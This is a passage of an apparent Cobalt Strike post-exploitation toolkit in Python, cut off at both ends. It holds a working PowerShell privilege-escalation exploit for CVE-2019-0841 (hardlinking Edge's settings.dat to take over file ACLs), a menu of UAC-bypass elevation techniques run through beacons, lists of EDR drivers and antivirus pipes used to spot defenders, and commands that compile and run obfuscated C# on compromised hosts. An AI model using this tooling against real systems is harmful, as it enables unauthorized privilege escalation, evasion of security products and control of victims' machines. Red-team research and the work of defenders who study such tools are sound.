r'$env:localappdata\Packages\Microsoft.MicrosoftEdge_*' 206 | settings_dat = r'\Settings\settings.dat' 207 | 208 | command = helpers.code_string(r""" 209 | # Stop Edge 210 | echo "[.] Stopping Edge" 211 | $process = Get-Process -Name MicrosoftEdge 2>$null 212 | if ($process) {{ 213 | $process | Stop-Process 214 | }} 215 | sleep 3 216 | 217 | # Hardlink 218 | $edge_dir = Resolve-Path {edge_dir} 219 | $settings_dat = $edge_dir.Path + '{settings_dat}' 220 | echo "[.] Making Hardlink from $settings_dat to {target}" 221 | rm $settings_dat 222 | Native-HardLink -Verbose -Link $settings_dat -Target {target} 223 | 224 | # Start Edge 225 | echo "[.] Starting Edge" 226 | Start Microsoft-Edge: 227 | sleep 3 228 | 229 | # Stop it again 230 | echo "[.] Stopping Edge" 231 | $process = Get-Process -Name MicrosoftEdge 2>$null 232 | if ($process) {{ 233 | $process | Stop-Process 234 | }} 235 | 236 | echo "[+] All Finished!" 237 | echo "[.] New ACLs:" 238 | Get-Acl {target} | Format-List 239 | """.format(edge_dir=edge_dir, settings_dat=settings_dat, target=powershell_quote(target))) 240 | 241 | aggressor.bpowershell_import(bid, native_hardlink_ps1, silent=True) 242 | aggressor.bpowerpick(bid, command, silent=True) 243 | 244 | if overwrite: 245 | helpers.upload_to(bid, overwrite, target) 246 | helpers.explorer_stomp(bid, target) 247 | 248 | @aliases.alias('elevate-custom', 'Run custom elevate commands') 249 | def _(bid, exploit, *args): 250 | callbacks = { 251 | 'token-shellcode': elevate_token_shellcode, 252 | 'token-command': elevate_token_command, 253 | 'slui-shellcode': elevate_slui_shellcode, 254 | 'slui-command': elevate_slui_command, 255 | 'fodhelper-shellcode': elevate_fodhelper_shellcode, 256 | 'fodhelper-command': elevate_fodhelper_command, 257 | 'eventvwr-command': elevate_eventvwr_command, 258 | 'wscript-shellcode': elevate_wscript_shellcode, 259 | 'wscript-command': elevate_wscript_command, 260 | 'runas-shellcode': elevate_runas_shellcode, 261 | 'cve-2019-0841': elevate_cve_2019_0841, 262 | } 263 | 264 | if exploit in callbacks: 265 | aggressor.btask(bid, 'Tasked beacon to elevate with exploit: {}'.format(exploit)) 266 | callback = callbacks[exploit] 267 | 268 | if not pycobalt.utils.check_args(callback, (bid,) + args): 269 | signature = pycobalt.utils.signature(callback, trim=1) 270 | aggressor.berror(bid, 'Invalid arguments to exploit {}. Signature: {}'.format(exploit, signature)) 271 | return 272 | 273 | callback(bid, *args) 274 | else: 275 | aggressor.berror(bid, 'Exploit must be one of: {}'.format(', '.join(callbacks.keys()))) 276 | 277 | -------------------------------------------------------------------------------- /processes.py: -------------------------------------------------------------------------------- 1 | import utils 2 | 3 | # file containing process descriptions 4 | elist_file = utils.basedir('resources/elist.txt') 5 | 6 | def shadowbrokers_executables(): 7 | """ 8 | Get list of .exe descriptions from the Shadow Brokers leak. 9 | 10 | :return: Dictionary with executable name as key and description as value 11 | """ 12 | 13 | apps = {} 14 | with open(elist_file, 'r') as fp: 15 | for line in fp: 16 | exe, desc = line.split('\t') 17 | exe = exe.lower().strip() 18 | apps[exe] = desc.strip() 19 | 20 | return apps 21 | 22 | browsers = ( 23 | 'chrome', 24 | 'chromium', 25 | 'firefox', 26 | 'iexplore', 27 | 'MicrosoftEdge', 28 | 'opera' 29 | ) 30 | 31 | wallets = ( 32 | # bitcoin 33 | 'electrum' 34 | 35 | # decred 36 | 'dcrd', 'decrediton', 'dcrwallet', 37 | ) 38 | 39 | process_descriptions = shadowbrokers_executables() 40 | -------------------------------------------------------------------------------- /ps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import re 5 | import textwrap 6 | import datetime 7 | import collections 8 | import copy 9 | import time 10 | 11 | import pycobalt.engine as engine 12 | import pycobalt.events as events 13 | import pycobalt.aliases as aliases 14 | import pycobalt.helpers as helpers 15 | import pycobalt.commands as commands 16 | import pycobalt.aggressor as aggressor 17 | import pycobalt.callbacks as callbacks 18 | import pycobalt.console as console 19 | 20 | import utils 21 | import processes 22 | 23 | # optional: log unknown processes to a file 24 | unknowns_file = utils.basedir('resources/unknown_processes.txt') 25 | 26 | @console.modifier('beacon_output_ps') 27 | def _(bid, content, when): 28 | procs = helpers.parse_ps(content) 29 | 30 | def get_children(pid): 31 | ret = [] 32 | for proc in procs: 33 | if proc['ppid'] == pid and proc['pid'] != pid: 34 | ret.append(proc) 35 | return ret 36 | 37 | def get_trunks(procs): 38 | all_pids = [proc['pid'] for proc in procs] 39 | ret = [] 40 | for proc in procs: 41 | if proc['ppid'] not in all_pids or proc['ppid'] == proc['pid']: 42 | ret.append(proc) 43 | return ret 44 | 45 | def make_tree(proc, indent=0, our_children=False): 46 | # are we in our beacon's process tree? 47 | if proc['pid'] == int(aggressor.beacon_info(bid, 'pid')): 48 | our_children = True 49 | 50 | # output proc info 51 | proc = copy.copy(proc) 52 | 53 | # add app description 54 | exe = proc['name'].lower() 55 | if exe in processes.process_descriptions: 56 | proc['description'] = processes.process_descriptions[exe] 57 | else: 58 | # write unknowns to a file 59 | if unknowns_file: 60 | if os.path.isfile(unknowns_file): 61 | with open(unknowns_file, 'r') as fp: 62 | names = set([line.strip() for line in fp]) 63 | else: 64 | names = set() 65 | 66 | names.add(proc['name']) 67 | 68 | with open(unknowns_file, 'w+') as fp: 69 | fp.write('\n'.join(sorted(names))) 70 | 71 | # clean up name 72 | if proc['name'].lower().endswith('.exe'): 73 | proc['clean_name'] = proc['name'][:-4] 74 | else: 75 | proc['clean_name'] = proc['name'] 76 | 77 | # indented name 78 | proc['indented'] = ' ' * indent + proc['clean_name'] 79 | if our_children: 80 | # child processes 81 | proc['indented'] = console.orange(proc['indented']) 82 | elif 'description' in proc and '!!!' in proc['description']: 83 | # dangerous processes 84 | proc['indented'] = console.red(proc['indented']) 85 | elif 'description' in proc and '+++' in proc['description']: 86 | # potentially dangerous processes 87 | proc['indented'] = console.red(proc['indented']) 88 | elif proc['name'].lower() in processes.browsers: 89 | # browser processes 90 | proc['indented'] = console.cyan(proc['indented']) 91 | 92 | # current proc is first one 93 | output_procs = [proc] 94 | 95 | # recurse children 96 | children = get_children(proc['pid']) 97 | for child in children: 98 | output_procs += make_tree(child, indent + 4, our_children=our_children) 99 | 100 | return output_procs 101 | 102 | tree_procs = [] 103 | for trunk in get_trunks(procs): 104 | tree_procs += make_tree(trunk) 105 | 106 | headers = collections.OrderedDict((('pid', 'PID'), 107 | ('ppid', 'PPID'), 108 | ('indented', 'Name'), 109 | ('description', 'Description'), 110 | ('user', 'User'), 111 | ('session', 'Session'))) 112 | 113 | return console.table(tree_procs, keys=headers) 114 | -------------------------------------------------------------------------------- /resources/edr.txt: -------------------------------------------------------------------------------- 1 | FeKern.sys FireEye 2 | WFP_MRT.sys FireEye 3 | eaw.sys Raytheon Cyber Solutions 4 | rvsavd.sys CJSC Returnil Software 5 | dgdmk.sys Verdasys Inc. 6 | atrsdfw.sys Altiris (Symantec) 7 | mbamwatchdog.sys Malwarebytes 8 | edevmon.sys ESET 9 | ehdrv.sys ESET 10 | SentinelMonitor.sys SentinelOne 11 | edrsensor.sys BitDefender SRL 12 | HexisFSMonitor.sys Hexis Cyber Solutions 13 | CyOptics.sys Cylance Inc. 14 | CyProtectDrv32.sys Cylance Inc. 15 | CyProtectDrv64.sys Cylance Inc. 16 | aswSP.sys Avast 17 | mfeaskm.sys McAfee 18 | mfencfilter.sys McAfee 19 | groundling32.sys Dell Secureworks 20 | groundling64.sys Dell Secureworks 21 | avgtpx86.sys AVG Technologies 22 | avgtpx64.sys AVG Technologies 23 | virtualagent.sys Symantec 24 | pgpwdefs.sys Symantec 25 | GEProtection.sys Symantec 26 | diflt.sys Symantec 27 | sysMon.sys Symantec 28 | ssrfsf.sys Symantec 29 | emxdrv2.sys Symantec 30 | reghook.sys Symantec 31 | spbbcdrv.sys Symantec 32 | bhdrvx86.sys Symantec 33 | bhdrvx64.sys Symantec 34 | SISIPSFileFilter.sys Symantec 35 | symevent.sys Symantec 36 | vxfsrep.sys Symantec 37 | VirtFile.sys Symantec 38 | SymAFR.sys Symantec 39 | symefasi.sys Symantec 40 | symefa.sys Symantec 41 | symefa64.sys Symantec 42 | SymHsm.sys Symantec 43 | evmf.sys Symantec 44 | GEFCMP.sys Symantec 45 | VFSEnc.sys Symantec 46 | pgpfs.sys Symantec 47 | fencry.sys Symantec 48 | symrg.sys Symantec 49 | SAFE-Agent.sys SAFE-Cyberdefense 50 | CybKernelTracker.sys CyberArk Software 51 | klifks.sys Kaspersky 52 | klifaa.sys Kaspersky 53 | Klifsm.sys Kaspersky 54 | SAVOnAccess.sys Sophos 55 | savonaccess.sys Sophos 56 | sld.sys Sophos 57 | ssfmonm.sys Webroot Software, Inc. 58 | CarbonBlackK.sys Carbon Black 59 | CRExecPrev.sys Cybereason 60 | im.sys CrowdStrike 61 | csagent.sys CrowdStrike 62 | cfrmd.sys Comodo Security Solutions 63 | cmdccav.sys Comodo Security Solutions 64 | cmdguard.sys Comodo Security Solutions 65 | CmdMnEfs.sys Comodo Security Solutions 66 | MyDLPMF.sys Comodo Security Solutions 67 | PSINPROC.SYS Panda Security 68 | PSINFILE.SYS Panda Security 69 | amfsm.sys Panda Security 70 | amm8660.sys Panda Security 71 | amm6460.sys Panda Security 72 | fsgk.sys F-Secure 73 | fsatp.sys F-Secure 74 | fshs.sys F-Secure 75 | esensor.sys Endgame 76 | csacentr.sys Cisco 77 | csaenh.sys Cisco 78 | csareg.sys Cisco 79 | csascr.sys Cisco 80 | csaav.sys Cisco 81 | csaam.sys Cisco 82 | parity.sys Carbon Black Protect 83 | -------------------------------------------------------------------------------- /resources/pipes.txt: -------------------------------------------------------------------------------- 1 | browser OS: Computer Browser 2 | lsarpc OS: LSASS RPC 3 | spoolss OS: Print Spooler 4 | 360OnAccessGet 360 Safe 5 | 360OnAccessSet 360 Safe 6 | aswUpdSv alwil Avast Professional 4.8 Avast Internet Security v5.0 7 | afwCallbackPipe2 Avast Internet Security 5.0 8 | afwCallbackPipe2 Avast Internet Security 5.0 9 | aswUpdSv Avast pro 4.8 or Avast IS v5.0 10 | _pspuser_780_AVGIDSMONITOR.EXE_9d97da47-8de1-4699-b3da-9eafb262f2a4 AVG IS 8.5 11 | AVG7B14C58C-E30D-11DB-B553-F88A56D89593 AVG IS 8.5 12 | AvgFwS8.WDCommunicationPipe1 AVG IS 8.5 13 | AvgFwS8.WDCommunicationPipe2 AVG IS 8.5 14 | AvgTrayPipeName000176 AVG IS 8.5 15 | AvgTrayPipeName0001761 AVG IS 8.5 16 | AvgTrayPipeName0001762 AVG IS 8.5 17 | AvgFwS8.WDCommunicationPipe AVG IS 8.5-9.0 18 | _pspuser_3620_AVGIDSMONITOR.EXE_9fde9445-f261-4985-a056-fb033d1a64cd AVG IS 9.0.646 19 | AVG-CHJW-0B47172B-B945-42f8-AA88-8D4F98F660DB AVG IS 9.0.646 20 | AVG-CHJW-C81C2B71-E0F0-44cb-B6A7-15999D0F539A AVG IS 9.0.646 21 | AvgFw.WDCommunicationPipe AVG IS 9.0.646 22 | AvgFw.WDCommunicationPipe1 AVG IS 9.0.646 23 | AvgFw.WDCommunicationPipe2 AVG IS 9.0.646 24 | AvgTrayPipeName000840 AVG IS 9.0.646 25 | AvgTrayPipeName0008401 AVG IS 9.0.646 26 | AvgTrayPipeName0008402 AVG IS 9.0.646 27 | AvgUIPipeName002788 AVG IS 9.0.646 28 | AvgUIPipeName0027881 AVG IS 9.0.646 29 | AvgUIPipeName0027882 AVG IS 9.0.646 30 | AveSvc_EngineDienst200705311802 Avira Antivirus Personal Edition Premium v7.06 31 | AveSvc_EngineService2008 Avira Premium Security Suite v7 32 | avguard01 Avira Premium Sec Suite v8 33 | AVSCAN_REP_000000000000c883 Avira Premium Sec Suite v8 34 | AVWebCatServer0 Avira Premium Sec Suite v8 35 | AVWebGuardServer Avira Premium Sec Suite v8 36 | AVWebProtServer0 Avira Premium Sec Suite v8 37 | AveSvc_EngineService2008 Avira Premium Sec Suite v8 38 | bdantiphishing BitDefender 2010 v13 39 | bdantiphishing BitDefender TotalSec 2010 v13.0.11 40 | bdantispam BitDefender TotalSec 2010 v13.0.11 41 | EXTREG BitDefender TotalSec 2010 v13.0.11 42 | LIVESRV BitDefender TotalSec 2010 v13.0.11 Bit Defender Total Security 2009 43 | MIDASCOMM_SERVER BitDefender TotalSec 2010 v13.0.11 Bit Defender Total Security 2009 44 | VSSERV BitDefender TotalSec 2010 v13.0.11 Bit Defender Total Security 2009 45 | __fships_hook_server__ FSecure 2010 46 | __fships_injector__ FSecure 2010 47 | rcn_18871562230061 FSecure 2010 48 | rcn_47843719166 FSecure 2010 49 | rcn_49140823412 FSecure 2010 50 | rcn_491711751329 FSecure 2010 51 | rcn_50406860721 FSecure 2010 52 | rcn_507341306237 FSecure 2010 53 | rcn_51109653602 FSecure 2010 54 | rcn_520781201855 FSecure 2010 55 | rcn_520932065562 FSecure 2010 56 | rcn_520932267096 FSecure 2010 57 | rcn_522811486723 FSecure 2010 58 | rcn_530461792332 FSecure 2010 59 | rcn_53156781683 FSecure 2010 60 | rcn_564531165073 FSecure 2010 61 | rcn_580461750377 FSecure 2010 62 | rcn_621562061643 FSecure 2010 63 | rcn_637501693024 FSecure 2010 64 | rcn_63750782962 FSecure 2010 65 | rcn_647032361703 FSecure 2010 66 | rcn_655781047893 FSecure 2010 67 | rcn_655931694327 FSecure 2010 68 | rcn_662811357824 FSecure 2010 69 | rcn_67953938451 FSecure 2010 70 | rcn_682651449794 FSecure 2010 71 | rcn_685151921711 FSecure 2010 72 | nai_vseconsole01 McAfee 8.7i 73 | nai_vseconsole01 McAfee 8.7i 74 | Symantec_{F9698F61-2E57-469B-B29B-1EFB17827356}_{0C55C096-0F1D-4F28-AAA2-85EF591126E7} Norton Internet Security 2010 75 | Symantec Core LC Norton IS 2008 76 | Symantec_{586D4B8E-3DBB-4E4O-9A7E-4670F760FAC4}_{0C55C096-0F1D-4F28-AAA2-85EF591126E7} Norton360 v4; Norton IS 2009; Norton IS 2010; Norton 360 v4 77 | Symantec_{EF903280-DA47-4C1B-99F8-EC15E7900956}_{0C55C096-0F1D-4F28-AAA2-85EF591126E7} Norton360 v4 78 | acsipc_server Outpost Security Suite Pro 2009 v6.5 79 | pavfnlpc Panda IS 2010 v15 80 | Global\PNMIPC_SH_IPT-WebProxy Panda IS 2010 v15 81 | pavfnlpc Panda IS 2010 v15 82 | PavTPU\TPK_Event_1504 Panda IS 2010 v15 83 | Sophos@BOPSv3 Sophos 9.0 84 | NP2970625197SRV TrendMicro IS 2010 v17.50 85 | vmware-usbarbpipe VMWare Host 86 | -------------------------------------------------------------------------------- /resources/unknown_processes.txt: -------------------------------------------------------------------------------- 1 | ACCStd.exe 2 | ACEMon.exe 3 | ACEStd.exe 4 | AERTSr64.exe 5 | AGSService.exe 6 | ATKOSD2.exe 7 | AbtSvcHost_.exe 8 | AcerPortal.exe 9 | AdobeHelper.exe 10 | ApMsgFwd.exe 11 | AppVShNotify.exe 12 | ApplicationFrameHost.exe 13 | AsLdrSrv.exe 14 | Ath_WlanAgent.exe 15 | AuthManSvr.exe 16 | AxiomEngine.exe 17 | CACE.exe 18 | Calculator.exe 19 | Chat.exe 20 | CiscoJabber.exe 21 | ClickMonitorDDC_6_8.exe 22 | CmRcService.exe 23 | Code.exe 24 | CodeHelper.exe 25 | CompatTelRunner.exe 26 | ConEmu64.exe 27 | ConEmuC64.exe 28 | ConnectWiseCrashHandler.exe 29 | CopitrakDesktop10.Exe 30 | CtHWiPrvService.exe 31 | Ctes.exe 32 | CtesHostSvc.exe 33 | DMedia.exe 34 | DTE.exe 35 | DYMO.DLS.Printing.Host.exe 36 | DbxSvc.exe 37 | DeltaVw.exe 38 | DeviceCensus.exe 39 | DismHost.exe 40 | DropboxUpdate.exe 41 | DymoPnpService.exe 42 | ELANFPService.exe 43 | ExchangeAddressesResolver.exe 44 | FAHWindow.exe 45 | FileCoAuth.exe 46 | FirmwareApp.exe 47 | FirmwareUpdaterService.exe 48 | FlashUtil_ActiveX.exe 49 | FlipControlPTP.exe 50 | FlipController.exe 51 | FlipService.exe 52 | GoogleCrashHandler64.exe 53 | HeciServer.exe 54 | HidMonitorSvc.exe 55 | HostAppServiceUpdater.exe 56 | HxOutlook.exe 57 | HxTsr.exe 58 | IAStorDataMgrSvc.exe 59 | IAStorIcon.exe 60 | IPROSetMonitor.exe 61 | IntappTimeDesktopExtension.exe 62 | IntelAudioService.exe 63 | IntelCpHDCPSvc.exe 64 | IntelCpHeciSvc.exe 65 | IntelModemAuthenticator.exe 66 | IpOverUsbSvc.exe 67 | Jhi_service.exe 68 | KMS-R@1n.exe 69 | LPlatSvc.exe 70 | LTClient.exe 71 | LTSVC.exe 72 | LTSvcMon.exe 73 | LTTray.exe 74 | LULnchr.exe 75 | LocationNotificationWindows.exe 76 | LogiOptions.exe 77 | LogiOptionsMgr.exe 78 | LogiOverlay.exe 79 | LogitechUpdate.exe 80 | LsaIso.exe 81 | LtProcMon.exe 82 | MBAMAgent.exe 83 | MSASCuiL.exe 84 | ManagementAgentHost.exe 85 | Memory Compression 86 | Microsoft.Alm.Shared.Remoting.RemoteContainer.dll 87 | Microsoft.Notes.exe 88 | Microsoft.Photos.exe 89 | Microsoft.ServiceHub.Controller.exe 90 | MicrosoftEdge.exe 91 | MicrosoftEdgeCP.exe 92 | MicrosoftEdgeSH.exe 93 | MicrosoftPdfReader.exe 94 | MmsMonitor.exe 95 | MouseWithoutBorders.exe 96 | MouseWithoutBordersHelper.exe 97 | MusNotification.exe 98 | Music.UI.exe 99 | N1E.ClientHealth.Service.exe 100 | NAMECONTROLSERVER.EXE 101 | NVDisplay.Container.exe 102 | NVIDIA Share.exe 103 | NVIDIA Web Helper.exe 104 | NomadBranch.exe 105 | NortonSecurity.exe 106 | NugetPackage.exe 107 | NvTelemetryContainer.exe 108 | OfficeC2RClient.exe 109 | OfficeClickToRun.exe 110 | OmniSharp.exe 111 | OneDrive.exe 112 | OpenConsole.exe 113 | OpenWith.exe 114 | PDVD10Serv.exe 115 | PerfWatson2.exe 116 | PrintIsolationHost.exe 117 | ProLiantMonitor.exe 118 | ProviderHost.exe 119 | QAAdminAgent.exe 120 | QAAgent.exe 121 | QALockHandler.exe 122 | QASvc.exe 123 | QBCFMonitorService.exe 124 | QBIDPService.exe 125 | QtWebEngineProcess.exe 126 | RAVBg64.exe 127 | RAVCpl64.exe 128 | Receiver.exe 129 | Registry 130 | RemindersServer.exe 131 | RemoteDesktopManager64.exe 132 | RtkAudioService64.exe 133 | RtkNGUI64.exe 134 | RuntimeBroker.exe 135 | SCNotification.exe 136 | SISIDSService.exe 137 | SISIPSService.exe 138 | ScreenConnect.ClientService.exe 139 | ScreenConnect.WindowsClient.exe 140 | SearchApp.exe 141 | SearchFilterHost.exe 142 | SearchProtocolHost.exe 143 | SearchUI.exe 144 | SecHealthUI.exe 145 | SecomSDK.exe 146 | Secure System 147 | SecurityHealthHost.exe 148 | SecurityHealthService.exe 149 | SecurityHealthSystray.exe 150 | SelfService.exe 151 | SelfServicePlugin.exe 152 | SensorDBSynch.exe 153 | ServerManager.exe 154 | ServiceHub.Host.CLR.x86.exe 155 | ServiceHub.IdentityHost.exe 156 | ServiceHub.RoslynCodeAnalysisService32.exe 157 | ServiceHub.SettingsHost.exe 158 | ServiceHub.TestWindowStoreHost.exe 159 | ServiceHub.ThreadedWaitDialog.exe 160 | ServiceHub.VSDetouredHost.exe 161 | SettingSyncHost.exe 162 | SgrmBroker.exe 163 | ShellExperienceHost.exe 164 | SkypeApp.exe 165 | SkypeBackgroundHost.exe 166 | SkypeBridge.exe 167 | Spotify.exe 168 | SppExtComObj.Exe 169 | StartMenuExperienceHost.exe 170 | SteamService.exe 171 | SwiService.exe 172 | SynLenovoHelper.exe 173 | SynTPEnhService.exe 174 | SystemSettings.exe 175 | SystemSettingsBroker.exe 176 | TabTip32.exe 177 | TextInputHost.exe 178 | ThinClient.exe 179 | TiWorker.exe 180 | TortoiseHgOverlayServer.exe 181 | UcMapi.exe 182 | Video.UI.exe 183 | WMIC.exe 184 | WavesSvc64.exe 185 | WavesSysSvc64.exe 186 | WebexMTA.exe 187 | WerFault.exe 188 | WinStore.App.exe 189 | WinUAPEntry.exe 190 | Windows.WARP.JITService.exe 191 | WindowsInternal.ComposableShell.Experiences.TextInput.InputApp.exe 192 | WindowsTerminal.exe 193 | Workshare.Configuration.User.Console.exe 194 | WorkshareConnect.exe 195 | YourPhone.exe 196 | ZeroConfigService.exe 197 | abSunset.exe 198 | atashost.exe 199 | atmgr.exe 200 | aws.exe 201 | backgroundTaskHost.exe 202 | browser_broker.exe 203 | coNatHst.exe 204 | coherence.exe 205 | concentr.exe 206 | dasHost.exe 207 | dcagentservice.exe 208 | dcondemand.exe 209 | dnSpy.exe 210 | ePowerButton_NB.exe 211 | esif_assist_64.exe 212 | esif_uf.exe 213 | flux.exe 214 | fontdrvhost.exe 215 | front2.stager.x64.exe 216 | front2.stager.x86.exe 217 | hamachi-2-ui.exe 218 | hamachi-2.exe 219 | hpqams.exe 220 | ibtsiva.exe 221 | igfxCUIService.exe 222 | igfxEM.exe 223 | igfxHK.exe 224 | jenkins.exe 225 | jhi_service.exe 226 | lync.exe 227 | makecab.exe 228 | ngentask.exe 229 | notepad++.exe 230 | nsWscSvc.exe 231 | nsload.exe 232 | nsverctl.exe 233 | nvcontainer.exe 234 | nvsphelper64.exe 235 | nvxdsync.exe 236 | nxlog.exe 237 | officebackgroundtaskhandler.exe 238 | prevhost.exe 239 | prl_cc.exe 240 | prl_tools.exe 241 | prl_tools_service.exe 242 | ptOIEx.exe 243 | ptSrv.exe 244 | ptim.exe 245 | ptoneclk.exe 246 | ptsrv.exe 247 | qbittorrent.exe 248 | redirector.exe 249 | rhs.exe 250 | rpcnet.exe 251 | runsc32.exe 252 | rzls.exe 253 | sedlauncher.exe 254 | sedsvc.exe 255 | sihost.exe 256 | sisipsutil.exe 257 | smartscreen.exe 258 | splwow64.exe 259 | steamwebhelper.exe 260 | taskhostex.exe 261 | taskhostw.exe 262 | tib_mounter_monitor.exe 263 | valWBFPolicyService.exe 264 | valWbioSyncSvc.exe 265 | vmms.exe 266 | vmware-hostd.exe 267 | vmware-usbarbitrator64.exe 268 | vpnui.exe 269 | wbxcOIEx.exe 270 | webexmta.exe 271 | wermgr.exe 272 | wlms.exe 273 | x64dbg.exe -------------------------------------------------------------------------------- /sharpgen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import pycobalt.engine as engine 8 | import pycobalt.events as events 9 | import pycobalt.aliases as aliases 10 | import pycobalt.helpers as helpers 11 | import pycobalt.commands as commands 12 | import pycobalt.aggressor as aggressor 13 | import pycobalt.callbacks as callbacks 14 | import pycobalt.sharpgen as sharpgen 15 | 16 | import config 17 | 18 | cache = False 19 | 20 | @aliases.alias('sharpgen-execute', 'Execute C# code using SharpGen', quote_replacement='^') 21 | def _(bid, code, *args): 22 | aggressor.btask(bid, 'Tasked beacon to execute C# code: {}'.format(code)) 23 | try: 24 | from_cache = sharpgen.execute(bid, code, args, cache=cache) 25 | 26 | if from_cache: 27 | aggressor.blog2(bid, 'Build was retrieved from the cache') 28 | except RuntimeError as e: 29 | aggressor.berror(bid, 'SharpGen failed. See Script Console for more details.') 30 | 31 | @aliases.alias('sharpgen-execute-file', 'Execute C# code from a file using SharpGen', quote_replacement='^') 32 | def _(bid, source, *args): 33 | aggressor.btask(bid, 'Tasked beacon to execute C# code from: {}'.format(source)) 34 | try: 35 | from_cache = sharpgen.execute_file(bid, source, args, cache=cache) 36 | 37 | if from_cache: 38 | aggressor.blog2(bid, 'Build was retrieved from the cache') 39 | except RuntimeError as e: 40 | aggressor.berror(bid, 'SharpGen failed. See Script Console for more details.') 41 | 42 | # Compile C# code using SharpGen 43 | @commands.command('sharpgen-compile', quote_replacement='^') 44 | def _(code, out=None, *sharpgen_flags): 45 | engine.message('Compiling C# code: {}'.format(code)) 46 | try: 47 | out, from_cache = sharpgen.compile(code, out=out, additional_options=sharpgen_flags, cache=cache) 48 | 49 | if from_cache: 50 | engine.message('Build was found in the cache! Output is in: {}'.format(out)) 51 | else: 52 | engine.message('Build was successful! Output is in: {}'.format(out)) 53 | except RuntimeError as e: 54 | engine.error('SharpGen failed. See above for more details.') 55 | 56 | # Compile C# code from file using SharpGen 57 | @commands.command('sharpgen-compile-file', quote_replacement='^') 58 | def _(source, out=None, *sharpgen_flags): 59 | engine.message('Compiling C# code from: {}'.format(source)) 60 | try: 61 | out, from_cache = sharpgen.compile_file(source, out=out, additional_options=sharpgen_flags, cache=cache) 62 | 63 | if from_cache: 64 | engine.message('Build was found in the cache! Output is in: {}'.format(out)) 65 | else: 66 | engine.message('Build was successful! Output is in: {}'.format(out)) 67 | except RuntimeError as e: 68 | engine.error('SharpGen failed. See above for more details.') 69 | 70 | # Clear the SharpGen build cache 71 | @commands.command('sharpgen-cache-clear') 72 | def _(): 73 | sharpgen.clear_cache() 74 | engine.message('Cleared the SharpGen build cache') 75 | 76 | # Toggle cache overwrite mode 77 | @commands.command('sharpgen-cache-overwrite') 78 | def _(mode): 79 | if mode == 'on': 80 | sharpgen.enable_cache_overwrite() 81 | engine.message('Enabled SharpGen cache overwrite') 82 | elif mode == 'off': 83 | sharpgen.disable_cache_overwrite() 84 | engine.message('Disabled SharpGen cache overwrite') 85 | else: 86 | engine.error('Usage: sharpgen-cache-overwrite on|off') 87 | 88 | # Toggle SharpGen ConfuserEx 89 | @commands.command('sharpgen-confuser') 90 | def _(mode): 91 | if mode == 'on': 92 | sharpgen.set_confuser_protections(config.protections_net35) 93 | engine.message('Enabled SharpGen ConfuserEx protections') 94 | elif mode == 'off': 95 | sharpgen.set_confuser_protections(None) 96 | engine.message('Disabled SharpGen ConfuserEx protections') 97 | else: 98 | engine.error('Usage: sharpgen-confuser on|off') 99 | -------------------------------------------------------------------------------- /sleep.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import os 8 | import re 9 | import textwrap 10 | import datetime 11 | import collections 12 | 13 | import pycobalt.engine as engine 14 | import pycobalt.events as events 15 | import pycobalt.commands as commands 16 | import pycobalt.aliases as aliases 17 | import pycobalt.aggressor as aggressor 18 | import pycobalt.callbacks as callbacks 19 | import pycobalt.helpers as helpers 20 | import pycobalt.sharpgen as sharpgen 21 | from pycobalt.helpers import powershell_quote 22 | 23 | def pretty_short_time(milli, decimalSeconds=False): 24 | """ 25 | Convert milliseconds to a pretty short time format. Examples: 26 | 27 | 400 -> 400ms 28 | 1000 -> 1s 29 | 1110 -> 1.11s 30 | 60 * 1100 -> 1m:6s 31 | 60 * 60 * 2100 -> 2h:6m 32 | 24 * 60 * 60 * 1500 -> 1d:12h 33 | """ 34 | 35 | parts = 1 36 | 37 | # seconds/milli 38 | seconds = int(milli / 1000) 39 | milli %= 1000 40 | if seconds: parts += 1 41 | 42 | # minutes/seconds 43 | minutes = int(seconds / 60) 44 | seconds %= 60 45 | if minutes: parts += 1 46 | 47 | # hours/minutes 48 | hours = int(minutes / 60) 49 | minutes %= 60 50 | if hours: parts += 1 51 | 52 | # days/hours 53 | days = int(hours / 24) 54 | hours %= 24 55 | if days: parts += 1 56 | 57 | if parts == 1: 58 | return '{}ms'.format(milli) 59 | if parts == 2: 60 | if decimalSeconds and milli: 61 | dec = '.{}'.format(str(int(milli/10)).rstrip('0')) 62 | if dec == '.': dec = '' 63 | else: dec ='' 64 | return '{}{}s'.format(seconds, dec) 65 | elif parts == 3: 66 | return '{}m:{}s'.format(minutes, seconds) 67 | elif parts == 4: 68 | return '{}h:{}m'.format(hours, minutes) 69 | elif parts == 5: 70 | return '{}d:{}h'.format(days, hours) 71 | 72 | def parse_pretty_short(value, default_milli=False): 73 | """ 74 | Parse pretty short time format. 75 | 76 | The pretty short time format looks like this: 9d:8h:7m:6s:5ms 77 | That represents: 9 days, 8 hours, 7 minutes, 6 seconds, and 5 milliseconds 78 | 79 | :param value: Pretty short time value 80 | :return: Dictionary containing {days, hours, minutes, seconds, milli} 81 | """ 82 | 83 | ret = { 84 | 'days': 0, 85 | 'hours': 0, 86 | 'minutes': 0, 87 | 'seconds': 0, 88 | 'milli': 0, 89 | } 90 | 91 | for part in value.split(':'): 92 | part = part.strip() 93 | if part.endswith('ms'): 94 | ret['milli'] += int(part[:-2]) 95 | elif part.endswith('d'): 96 | ret['days'] += float(part[:-1]) 97 | elif part.endswith('h'): 98 | ret['hours'] += float(part[:-1]) 99 | elif part.endswith('m'): 100 | ret['minutes'] += float(part[:-1]) 101 | elif part.endswith('s'): 102 | ret['seconds'] += float(part[:-1]) 103 | else: 104 | if default_milli: 105 | ret['milli'] += int(part) 106 | else: 107 | ret['seconds'] += int(part) 108 | 109 | return ret 110 | 111 | def pretty_short_to_milli(value, default_milli=False): 112 | """ 113 | Convert pretty short time format to milliseconds 114 | 115 | :param value: Pretty short time value 116 | :return: Time in milliseconds 117 | """ 118 | 119 | items = parse_pretty_short(value, default_milli=default_milli) 120 | days = items['days'] 121 | hours = items['hours'] 122 | minutes = items['minutes'] 123 | seconds = items['seconds'] 124 | milli = items['milli'] 125 | hours += days * 24 126 | minutes += hours * 60 127 | seconds += minutes * 60 128 | milli += int(seconds * 1000) 129 | 130 | return milli 131 | 132 | def pretty_short_to_seconds(value): 133 | """ 134 | Convert pretty short time format to seconds 135 | 136 | :param value: Pretty short time value 137 | :return: Time in seconds 138 | """ 139 | 140 